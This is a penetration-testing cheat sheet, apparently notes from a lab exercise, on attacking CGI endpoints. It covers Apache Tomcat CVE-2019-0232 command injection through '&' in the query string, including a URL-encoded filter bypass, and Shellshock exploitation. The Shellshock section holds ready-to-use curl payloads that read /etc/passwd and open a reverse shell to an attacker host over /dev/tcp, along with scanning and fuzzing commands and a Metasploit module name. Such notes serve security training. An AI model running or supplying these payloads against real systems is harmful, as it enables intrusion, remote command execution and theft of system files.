Tomcat CGI

Enumeration

$ nmap -p- -sC -Pn 10.129.204.227 --open 

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-23 13:57 SAST
Nmap scan report for 10.129.204.227
Host is up (0.17s latency).
Not shown: 63648 closed tcp ports (conn-refused), 1873 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
22/tcp    open  ssh
| ssh-hostkey: 
|   2048 ae19ae07ef79b7905f1a7b8d42d56099 (RSA)
|   256 382e76cd0594a6e717d1808165262544 (ECDSA)
|_  256 35096912230f11bc546fddf797bd6150 (ED25519)
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
8009/tcp  open  ajp13
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp  open  http-proxy
|_http-title: Apache Tomcat/9.0.17
|_http-favicon: Apache Tomcat
47001/tcp open  winrm

Host script results:
| smb2-time: 
|   date: 2023-03-23T11:58:42
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

Nmap done: 1 IP address (1 host up) scanned in 165.25 seconds

Finding a CGI script

Bug-Bounty-Wordlists/cgi-bin.txt at main · Karanxa/Bug-Bounty-WordlistsGitHub

payloads/cgi-bin.txt at main · coffinxp/payloadsGitHub

Bug-Bounty-Wordlists/cgi-files.txt at main · Karanxa/Bug-Bounty-WordlistsGitHub

payloads/cgi-files.txt at main · coffinxp/payloadsGitHub

Fuzzing Extentions - .CMD

ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.cmd

Fuzzing Extentions - .BAT

ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat

Exploitation

RCE

Apache Tomcat 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93

CVE-2019-0232 - append our own commands through the use of the batch command separator &

Start by fuzzing .bat to find a valide file even if /cgi is 404

http://10.129.204.227:8080/cgi/welcome.bat?&dir

# http://10.129.204.227:8080/cgi/welcome.bat?&set

Welcome to CGI, this section is not functional yet. Please return to home page.
AUTH_TYPE=
COMSPEC=C:\Windows\system32\cmd.exe
CONTENT_LENGTH=
CONTENT_TYPE=
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
HTTP_HOST=10.129.204.227:8080
HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
PATH_INFO=
PROMPT=$P$G
QUERY_STRING=&set
REMOTE_ADDR=10.10.14.58
REMOTE_HOST=10.10.14.58
REMOTE_IDENT=
REMOTE_USER=
REQUEST_METHOD=GET
REQUEST_URI=/cgi/welcome.bat
SCRIPT_FILENAME=C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi\welcome.bat
SCRIPT_NAME=/cgi/welcome.bat
SERVER_NAME=10.129.204.227
SERVER_PORT=8080
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=TOMCAT
SystemRoot=C:\Windows
X_TOMCAT_SCRIPT_PATH=C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi\welcome.bat

PATH not set - use full path

Apache Tomcat introduced a patch that utilises a regular expression to prevent the use of special characters. However, the filter can be bypassed by URL-encoding the payload.

http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe

Metasploit

use exploit/windows/http/tomcat_cgi_cmdlineargs

References

Remote Code Execution (RCE) in CGI Servlet – Apache Tomcat on Windows – CVE-2019-0232Nightwatch Cybersecurity

GitHub - setrus/CVE-2019-0232: CVE-2019-0232-Remote Code Execution on Apache Tomcat 7.0.42GitHub

Shellshock via CGI

Detection

nmap -sV -p- --script http-shellshock <target>

nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>

Nmap http-shellshock NSE Script - InfosecMatterInfosecMatter

Exploit

env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"

gobuster dir -u http://10.129.204.231/cgi-bin/ -w /usr/share/dirb/wordlists/small.txt -x cgi

 curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.129.204.231/cgi-bin/access.cgi

Reverse Shell

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi

GitHub - EvolvingSysadmin/Shellshock: This repository describes how to exploit the Bash Shellshock vulnerability.GitHub

Interesting Books

Interesting Books

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• The Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more

• Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them

• Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.